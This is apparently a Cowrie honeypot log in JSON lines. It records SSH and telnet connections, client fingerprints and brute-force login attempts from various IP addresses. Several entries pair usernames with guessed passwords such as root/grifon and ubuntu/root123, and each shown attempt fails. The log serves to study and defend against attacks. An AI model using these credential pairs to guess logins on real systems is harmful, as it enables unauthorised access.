{"eventid":"cowrie.login.failed","username":"jenkins","password":"1234","message":"login attempt [jenkins/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:19:06.048348Z","src_ip":"117.121.214.50","session":"52bced0e3804","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:19:07.291884Z","src_ip":"117.121.214.50","session":"52bced0e3804","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":49830,"dst_ip":"10.17.0.5","dst_port":22,"session":"2cc64e6574ed","protocol":"ssh","message":"New connection: 62.133.62.83:49830 (10.17.0.5:22) [session: 2cc64e6574ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:19:12.092372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:19:12.099797Z","src_ip":"62.133.62.83","session":"2cc64e6574ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:19:12.177868Z","src_ip":"62.133.62.83","session":"2cc64e6574ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"grifon","message":"login attempt [root/grifon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:19:12.419506Z","src_ip":"62.133.62.83","session":"2cc64e6574ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:19:13.500817Z","src_ip":"62.133.62.83","session":"2cc64e6574ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.216.108.62","src_port":50477,"dst_ip":"159.203.135.109","dst_port":22,"session":"392b0ff5e5ea","protocol":"ssh","message":"New connection: 112.216.108.62:50477 (159.203.135.109:22) [session: 392b0ff5e5ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:19:27.426366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:19:27.431877Z","src_ip":"112.216.108.62","session":"392b0ff5e5ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:19:27.633003Z","src_ip":"112.216.108.62","session":"392b0ff5e5ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"info","password":"infopassword","message":"login attempt [info/infopassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:19:28.470186Z","src_ip":"112.216.108.62","session":"392b0ff5e5ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:19:29.674192Z","src_ip":"112.216.108.62","session":"392b0ff5e5ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.140.193.156","src_port":49150,"dst_ip":"10.17.0.5","dst_port":22,"session":"8003da5c33b8","protocol":"ssh","message":"New connection: 45.140.193.156:49150 (10.17.0.5:22) [session: 8003da5c33b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:19:55.738302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:19:55.741374Z","src_ip":"45.140.193.156","session":"8003da5c33b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:19:55.863360Z","src_ip":"45.140.193.156","session":"8003da5c33b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maman","password":"maman","message":"login attempt [maman/maman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:19:56.368562Z","src_ip":"45.140.193.156","session":"8003da5c33b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:19:57.488433Z","src_ip":"45.140.193.156","session":"8003da5c33b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":59288,"dst_ip":"10.17.0.5","dst_port":22,"session":"b78aee73e002","protocol":"ssh","message":"New connection: 103.82.132.16:59288 (10.17.0.5:22) [session: b78aee73e002]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:20:11.919650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:20:11.924309Z","src_ip":"103.82.132.16","session":"b78aee73e002","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:20:12.165510Z","src_ip":"103.82.132.16","session":"b78aee73e002","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"220991","message":"login attempt [root/220991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:20:12.893330Z","src_ip":"103.82.132.16","session":"b78aee73e002","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:20:14.137485Z","src_ip":"103.82.132.16","session":"b78aee73e002","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":44460,"dst_ip":"10.17.0.5","dst_port":22,"session":"00d1937e94c4","protocol":"ssh","message":"New connection: 103.77.242.62:44460 (10.17.0.5:22) [session: 00d1937e94c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:20:48.958741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:20:48.964333Z","src_ip":"103.77.242.62","session":"00d1937e94c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:20:49.209034Z","src_ip":"103.77.242.62","session":"00d1937e94c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11111980","message":"login attempt [root/11111980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:20:49.944355Z","src_ip":"103.77.242.62","session":"00d1937e94c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:20:51.190548Z","src_ip":"103.77.242.62","session":"00d1937e94c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.216.108.62","src_port":40331,"dst_ip":"159.203.135.109","dst_port":22,"session":"d9b6b1922016","protocol":"ssh","message":"New connection: 112.216.108.62:40331 (159.203.135.109:22) [session: d9b6b1922016]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:21:25.721128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:21:25.724625Z","src_ip":"112.216.108.62","session":"d9b6b1922016","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:21:25.927769Z","src_ip":"112.216.108.62","session":"d9b6b1922016","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"987654321Aa","message":"login attempt [root/987654321Aa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:21:26.776886Z","src_ip":"112.216.108.62","session":"d9b6b1922016","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:21:27.987933Z","src_ip":"112.216.108.62","session":"d9b6b1922016","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.121.214.50","src_port":43890,"dst_ip":"10.17.0.5","dst_port":22,"session":"729cf83f53fd","protocol":"ssh","message":"New connection: 117.121.214.50:43890 (10.17.0.5:22) [session: 729cf83f53fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:21:29.371460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:21:29.374332Z","src_ip":"117.121.214.50","session":"729cf83f53fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:21:29.613011Z","src_ip":"117.121.214.50","session":"729cf83f53fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"root123","message":"login attempt [ubuntu/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:21:30.631741Z","src_ip":"117.121.214.50","session":"729cf83f53fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:21:31.873226Z","src_ip":"117.121.214.50","session":"729cf83f53fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.209.169","src_port":45744,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3ed171628f4","protocol":"telnet","message":"New connection: 128.199.209.169:45744 (159.203.135.109:23) [session: f3ed171628f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:21:40.005761Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":44748,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5e9d5dfc90f","protocol":"telnet","message":"New connection: 128.199.8.54:44748 (159.203.135.109:23) [session: f5e9d5dfc90f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:21:44.198236Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.140.193.156","src_port":42456,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba02d1007f90","protocol":"ssh","message":"New connection: 45.140.193.156:42456 (10.17.0.5:22) [session: ba02d1007f90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:21:56.775214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:21:56.782162Z","src_ip":"45.140.193.156","session":"ba02d1007f90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:21:56.896856Z","src_ip":"45.140.193.156","session":"ba02d1007f90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server2016","message":"login attempt [root/server2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:21:57.387965Z","src_ip":"45.140.193.156","session":"ba02d1007f90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:21:58.530612Z","src_ip":"45.140.193.156","session":"ba02d1007f90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":26160,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9a27f9d0b42","protocol":"ssh","message":"New connection: 87.251.64.176:26160 (10.17.0.5:22) [session: b9a27f9d0b42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:22:01.796420Z"}
